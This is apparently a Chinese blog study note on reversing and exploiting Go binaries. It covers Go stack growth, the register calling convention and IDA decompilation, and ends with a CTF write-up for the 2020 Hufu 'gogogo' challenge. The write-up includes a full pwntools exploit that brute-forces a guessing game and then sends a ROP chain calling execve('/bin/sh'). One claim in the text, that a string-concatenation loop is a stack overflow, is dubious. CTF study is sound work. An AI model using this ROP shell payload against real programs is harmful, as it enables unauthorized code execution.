GO-PWN 首先go的二进制文件分析与C/C++二进制文件分析大有不同,有些老东西都不能运用得当
我们先讲述不同的点
在 Go 语言中,goroutine
是一种轻量级的执行单元,用于并发执行代码。它可以看作是一种轻量级的线程,由 Go 运行时系统进行管理。与传统的线程相比,goroutine
具有更小的栈空间占用和更低的创建和销毁开销。
Go1.3版本之后则使用的是continuous stack,下面将具体分析一下这种技术。
基本原理 每次执行函数调用时Go的runtime都会进行检测,若当前栈的大小不够用,则会触发“中断”,从当前函数进入到Go的运行时库,Go的运行时库会保存此时的函数上下文环境,然后分配一个新的足够大的栈空间,将旧栈的内容拷贝到新栈中,并做一些设置,使得当函数恢复运行时,函数会在新分配的栈中继续执行,仿佛整个过程都没发生过一样,这个函数会觉得自己使用的是一块大小“无限”的栈空间。
实现过程 在研究Go的实现细节之前让我们先自己思考一下应该如何实现。第一步肯定要有某种机制检测到当前栈大小不够用了,这个应该是把当前的栈寄存器SP跟栈的可用栈空间的边界进行比较。能够检测到栈大小不够用,就相当于捕捉到了“中断”。
捕获完“中断”,第二步要做的,就应该是进入运行时,保存当前goroutine的上下文。别陷入如何保存上下文的细节,先假如我们把函数栈增长时的上下文保存好了,那下一步就是分配新的栈空间了,我们可以将分配空间想象成就是调用一下malloc而已。
接下来怎么办呢?我们要将旧栈中的内容拷贝到新栈中,然后让函数继续在新栈中运行。这里先暂时忽略旧栈内容拷贝到新栈中的一些技术难点,假设在新栈空间中恢复了“中断”时的上下文,从运行时返回到函数。
函数在新的栈中继续运行了,但是还有个问题:函数如何返回。因为函数返回后栈是要缩小的,否则就会内存浪费空间了,所以还需要在函数返回时处理栈缩小的问题。
细节 首先写一个test.go文件,内容如下:
1 2 3 4 package mainfunc main () { main() }
然后生成汇编文件:
1 go tool 6 g -S test.go | head -8
可以看以输出是:
1 2 3 4 5 6 7 000000 00000 (test.go :3 ) TEXT "" .main+0 (SB),$0 -0 000000 00000 (test.go :3 ) MOVQ (TLS),CX0x0009 00009 (test.go :3 ) CMPQ SP,(CX)0x000c 00012 (test.go :3 ) JHI ,21 0x000e 00014 (test.go :3 ) CALL ,runtime.morestack00_noctxt(SB)0x0013 00019 (test.go :3 ) JMP ,0 0x0015 00021 (test.go :3 ) NOP ,
让我们好好看一下这些指令。(TLS)取到的是结构体G的第一个域,也就是g->stackguard地址,将它赋值给CX。然后CX地址的值与SP进行比较,如果SP大于g->stackguard了,则会调用runtime.morestack函数。这几条指令的作用就是检测栈是否溢出。
不过并不是所有函数在链接时都会插入这种指令。如果你读源代码,可能会发现#pragma textflag 7
,或者在汇编函数中看到TEXT reuntime.exit(SB),7,$0
,这种函数就是不会检测栈溢出的。这个是编译标记,控制是否生成栈溢出检测指令。
小结
使用分段栈的函数头几个指令检测SP和stackguard,调用runtime.morestack
runtime.morestack函数的主要功能是保存当前的栈的一些信息,然后转换成调度器的栈调用runtime.newstack
runtime.newstack函数的主要功能是分配空间,装饰此空间,将旧的frame和arg弄到新空间
使用gogocall的方式切换到新分配的栈,gogocall使用的JMP返回到被中断的函数
继续执行遇到RET指令时会返回到runtime.lessstack,lessstack做的事情跟morestack相反,它要准备好从new stack到old stack
整个过程有点像一次中断,中断处理时保存当时的现场,弄个新的栈,中断恢复时恢复到新栈中运行。栈的收缩是垃圾回收的过程中实现的.当检测到栈只使用了不到1/4时,栈缩小为原来的1/2.
函数调用寄存器
Go1.17.1之前的函数调用,参数都在栈上传递;Go1.17.1以后,9个以内的参数在寄存器传递,9个以外的在栈上传递;
Go1.17.1之前版本,callee函数返回值通过caller栈传递;Go1.17.1以后,函数调用的返回值,9个以内通过寄存器传递回caller,9个以外在栈上传递;
这九个寄存器优先级从高到低是:
ax > bx > cx > di > si > r8 > r9 > r10 > r11
逆向分析 由于恶意软件大都是被 strip 处理过,已经去除了二进制文件里的调试信息和函数符号,所以 Go 二进制文件的逆向分析技术的探索,前期主要围绕着函数符号的恢复来展开。
由于网上的资料都甚少,至少我没搜到,因此我就自己编译自己逆一些程序
编译及逆向 1 2 3 4 5 6 7 8 9 package mainimport "fmt" func main () { fmt.Println("hello world" ) }
放到ida里
1 2 3 4 5 6 7 8 9 void __cdecl main_main() { __int64 v0[2 ]; v0[0 ] = (__int64)&RTYPE_string; v0[1 ] = (__int64)&off_4D8F60; fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma_io_Writer, os_Stdout, (__int64)v0, 1 LL, 1 LL); }
可以看到v0[1]是输出参数
可以认为他的参数设置是,类型+值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package mainimport "fmt" func main () { var a int = 10 var b float32 = 3.14 var c string = "Hello, world!" var d bool = true var e []int = []int {1 , 2 , 3 , 4 , 5 } var f map [string ]int = map [string ]int {"one" : 1 , "two" : 2 , "three" : 3 } var g chan int = make (chan int ) fmt.Println(a, b, c, d, e, f, g) }
再看一个涉及多种类型的go程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __cdecl main_main() { __int64 v0; __int64 v1; __int64 v2; __int64 v3; __int64 v4; __int64 v5; __int64 v6; __int64 v7[14 ]; v6 = runtime_newobject(&RTYPE__5_int); *(_QWORD *)v6 = 1 LL; *(_OWORD *)(v6 + 8 ) = xmmword_4DB908; *(_OWORD *)(v6 + 24 ) = xmmword_4DB918; v5 = runtime_makemap_small(); *(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "one" , 3 LL) = 1 LL; *(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "two" , 3 LL) = 2 LL; *(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "three" , 5 LL) = 3 LL; v4 = runtime_makechan((__int64)&RTYPE_chan_int, 0 LL); v3 = runtime_convT64(10 LL); v2 = runtime_convT32(_f32_4048f5c3); v1 = runtime_convTstring((__int64)"Hello, world!" , 13 LL); runtime_convTslice(v6, 5 LL, 5 LL); v0 = ((__int64 (*)(void))loc_4540AD)(); v7[0 ] = (__int64)&RTYPE_int; v7[1 ] = v3; v7[2 ] = (__int64)&RTYPE_float32; v7[3 ] = v2; v7[4 ] = (__int64)&RTYPE_string; v7[5 ] = v1; v7[6 ] = (__int64)&RTYPE_bool; v7[7 ] = (__int64)&runtime_staticbytes + 1 ; v7[8 ] = (__int64)&RTYPE__slice_int; v7[9 ] = v0; v7[10 ] = (__int64)&RTYPE_map_string_int; v7[11 ] = v5; v7[12 ] = (__int64)&RTYPE_chan_int; v7[13 ] = v4; fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma_io_Writer, os_Stdout, (__int64)v7, 7 LL, 7 LL); }
其中
1 2 3 4 v6 = runtime_newobject(&RTYPE__5_int); *(_QWORD *)v6 = 1 LL; *(_OWORD *)(v6 + 8 ) = xmmword_4DB908; *(_OWORD *)(v6 + 24 ) = xmmword_4DB918;
runtime_newobject
这个是类似于一个malloc的函数调用,关键字 new
同样也会被编译器翻译为此函数,所以runtime_newobject
就是一个内存分配的核心函数,调用这个的原因是有些字符串(may?)是通过指针调用的,让我们gdb一下
可以看到一些其他的东西,比如string是在一个内存区域内,type也是,或许其中有一个是go的堆
我们再vmmap看一下
首先anon_c000000才是go使用的栈,而最下面是我们系统的栈,0x400000-0x48e000则是代码区,
首先吸引我的是heap区域,不知道是不是真正的heap区域
那就让我们进去看看
它分为好几个部分
1 2 3 runtime.stackLarge runtime.m0 runtime.cpuprof
栈空间在运行时中包含两个重要的全局变量,分别是 runtime.stackpool
和runtime.stackLarge
,这两个变量分别表示全局的栈缓存和大栈缓存,前者可以分配小于 32KB 的内存,后者用来分配大于 32KB 的栈空间
但是深究下去,或许会很复杂?等以后再说吧。。。。
之后的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 *(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "one" , 3LL ) = 1LL ; *(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "two" , 3LL ) = 2LL ; *(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "three" , 5LL ) = 3LL ; v4 = runtime_makechan((__int64)&RTYPE_chan_int, 0LL ); v3 = runtime_convT64(10LL ); v2 = runtime_convT32(_f32_4048f5c3); v1 = runtime_convTstring((__int64)"Hello, world!" , 13LL ); runtime_convTslice(v6, 5LL , 5LL ); v0 = ((__int64 (*)(void ))loc_4540AD)(); v7[0 ] = (__int64)&RTYPE_int; v7[1 ] = v3; v7[2 ] = (__int64)&RTYPE_float32; v7[3 ] = v2; v7[4 ] = (__int64)&RTYPE_string; v7[5 ] = v1; v7[6 ] = (__int64)&RTYPE_bool; v7[7 ] = (__int64)&runtime_staticbytes + 1 ; v7[8 ] = (__int64)&RTYPE__slice_int; v7[9 ] = v0; v7[10 ] = (__int64)&RTYPE_map_string_int; v7[11 ] = v5; v7[12 ] = (__int64)&RTYPE_chan_int; v7[13 ] = v4; fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma_io_Writer, os_Stdout, (__int64)v7, 7LL , 7LL );
可以看到参数就是先是一个类型,然后紧跟着数值,符合猜测
之后看一个有栈溢出漏洞的go程序
1 2 3 4 5 6 7 8 9 10 11 12 13 package mainimport "fmt" func main () { var s string for i := 0 ; i < 1000000 ; i++ { s += fmt.Sprintf("%d" , i) } fmt.Println(s) }
可以看到显然一个栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void __cdecl main_main() { const char *v0; __int64 v1; __int64 v2; __int64 v3; _QWORD *v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; _QWORD v9[2 ]; v1 = 0 LL; v2 = 0 LL; v3 = 0 LL; while ( v1 < 1000000 ) { v7 = v1; v8 = v3; runtime_convT64(v1); fmt_Sprintf(v0); runtime_concatstring2(0 LL, v8); v2 = v6; v3 = v5; v1 = v7 + 1 ; } v4 = runtime_convTstring(v3, v2); v9[0 ] = &RTYPE_string; v9[1 ] = v4; fmt_Fprintln(go_itab__ptr_os_File_comma_io_Writer, os_Stdout, v9, 1 LL, 1 LL); }
但是显然ida里的反汇编总是那么出人意料
首先能一眼看出的是他调用了
例题 2020虎符ctf -gogogo 这道题的核心主要是它修改了main函数的名称为math_init
,我是通过IDA远程调试调出来的
注意点:
go的ida远程调试要下断点,因为go是多线程的,不下断点容易出问题
go一定要调试,静态分析容易出问题
go要看汇编,反汇编因为寄存器和栈值得反复交换,使得他的机制很奇怪
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 from pwn import *context(os = "linux" , arch = "amd64" , log_level = "debug" ) io = process('./gogogo' ) elf = ELF('./gogogo' ) def judge_cnt (k ): if k == 7 : return 1 return 0 if __name__ == '__main__' : io.sendline(str (0x54749110 )) while 1 : cnt = 0 num_list = [] io.recvuntil("GUESS\n" ) while 1 : x = 2 *cnt y = 2 *cnt+1 io.sendline(F"{x} {x} {x} {y} " ) sleep(0.1 ) cnt = cnt + 1 res = io.recvline(keepends = False ) if res == b"0A0B" : pass elif res == b"0A1B" : num_list.append(y) elif res == b"0A2B" : num_list.append(x) num_list.append(y) elif res == b"1A0B" : num_list.append(y) elif res == b"1A1B" : num_list.append(x) elif res == b"1A2B" : num_list.append(x) num_list.append(y) elif res == b"2A1B" : num_list.append(x) num_list.append(y) if len (num_list) == 4 : break info(str (num_list[0 ])) info(str (num_list[1 ])) info(str (num_list[2 ])) info(str (num_list[3 ])) idx = -1 pos = [-1 , -1 , -1 , -1 ] while 1 : idx = idx + 1 if idx == 4 : break x = num_list[idx] times = 0 if times == (3 - idx) : for i in range (0 , 4 ): if pos[i] == -1 : pos[i] = idx break continue if pos[0 ] == -1 : io.sendline(F"{x} -1 -1 -1" ) sleep(0.1 ) times = times + 1 cnt = cnt + 1 if judge_cnt(cnt) : break res = io.recvline(keepends = False ) if res == b"1A0B" : pos[0 ] = idx continue if times == (3 - idx) : for i in range (1 , 4 ): if pos[i] == -1 : pos[i] = idx break continue if pos[1 ] == -1 : io.sendline(F"-1 {x} -1 -1" ) sleep(0.1 ) times = times + 1 cnt = cnt + 1 if judge_cnt(cnt) : break res = io.recvline(keepends = False ) if res == b"1A0B" : pos[1 ] = idx continue if times == (3 - idx) : for i in range (2 , 4 ): if pos[i] == -1 : pos[i] = idx break continue if pos[2 ] == -1 : io.sendline(F"-1 -1 {x} -1" ) sleep(0.1 ) times = times + 1 cnt = cnt + 1 if judge_cnt(cnt) : break res = io.recvline(keepends = False ) if res == b"1A0B" : pos[2 ] = idx continue if times == (3 - idx) : for i in range (3 , 4 ): if pos[i] == -1 : pos[i] = idx break res = io.recv(timeout = 0.5 ) if b"TRY AGAIN?" in res : io.sendline(b'Y' ) continue io.sendline(F"{num_list[pos[0 ]]} {num_list[pos[1 ]]} {num_list[pos[2 ]]} {num_list[pos[3 ]]} " ) res = io.recvline() if b"WIN" in res : success("Win!" ) else : info("Wrong?" ) break io.sendlineafter("EXIT?\n" , b'E' ) io.sendlineafter("(4) EXIT\n" , b'4' ) gdb.attach(io, 'b *0x494B0F' ) pop_rdx_ret = 0x48546c pop_rax_ret = 0x405b78 pop_rsi_ret = 0x41c41c syscall_ret = 0x45c849 pop_rcx_ret = 0x44dbe3 mov_val_rax_rcx_ret = 0x42b353 xchg_rax_r9_ret = 0x45b367 mov_rdi_r9 = 0x410d24 pause() gdb.attach(io, 'b *0x405b78' ) payload = b'a' *0x460 payload += p64(pop_rax_ret) payload += p64(elf.bss()) payload += p64(pop_rcx_ret) payload += p64(0x68732f6e69622f ) payload += p64(mov_val_rax_rcx_ret) payload += p64(xchg_rax_r9_ret) payload += p64(mov_rdi_r9) payload += p64(0 )*3 payload += p64(pop_rax_ret) payload += p64(0x3b ) payload += p64(pop_rdx_ret) payload += p64(0 ) payload += p64(pop_rsi_ret) payload += p64(0 ) payload += p64(syscall_ret) io.sendlineafter("SURE?\n" , payload) io.interactive()
首先是爆破游戏,然后给溢出,细看:winmt师傅